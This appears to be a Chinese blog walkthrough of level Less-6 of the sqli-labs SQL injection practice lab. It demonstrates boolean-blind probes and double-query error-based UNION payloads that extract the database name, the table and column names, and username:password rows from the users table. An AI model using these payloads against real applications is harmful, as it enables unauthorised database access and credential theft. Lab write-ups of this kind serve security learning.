【网络安全】sqli-labs Less-6 解题详析

本文详述了SQLi-Labs Less-6关卡的解题过程,包括判断注入类型、确定注入点数量、查询数据库名、表名、列名以及字段的具体方法。

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

Less-6 和 Less-5类似,自行浏览前文即可。

【网络安全】sqli-labs Less-5 解题详析(秋说的博客)

判断注入类型

GET 1" and "1"="1 回显如下:

在这里插入图片描述

GET 1" and "1"="2

在这里插入图片描述

没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+,回显如下:

在这里插入图片描述
GET1" order by 4 --+,回显如下:

在这里插入图片描述故注入点为3个

查库名

Payload:GET 1" and left((select database()),1)='a'--+
使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。


left函数

Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:

LEFT(str, len)

其中,str 是要截取的字符串,len 是要返回的字符数。

例如,LEFT(‘Hello, world!’, 5) 将返回 Hello,因为它只返回字符串的前5个字符

若1" and left((select database()),1)=‘a’–+查询成功,则回显you are in,即数据库名的首字母为a
因此可用此方法查询出完整的数据库名


我们可得到数据库名的首字母为s

在这里插入图片描述
继续猜第二个字母,将sa遍历到se,发现se回显成功
?id=1" and left((select database()),2)='se'--+

在这里插入图片描述
因此我们可以不断尝试得到数据库名:

在这里插入图片描述

可使用抓包字典爆破来获取数据库名,也可使用双查询注入来获取数据库名,详情参见【网络安全】sqli-labs Less-5 解题详析

示例如下:

在这里插入图片描述

查表名

双查询注入:

1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

在这里插入图片描述
回显四个表名

查users表的列名

双查询注入:

1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

在这里插入图片描述

查字段

双查询注入:

1" union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

在这里插入图片描述
将limit中的0改为1、2、3…即可:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值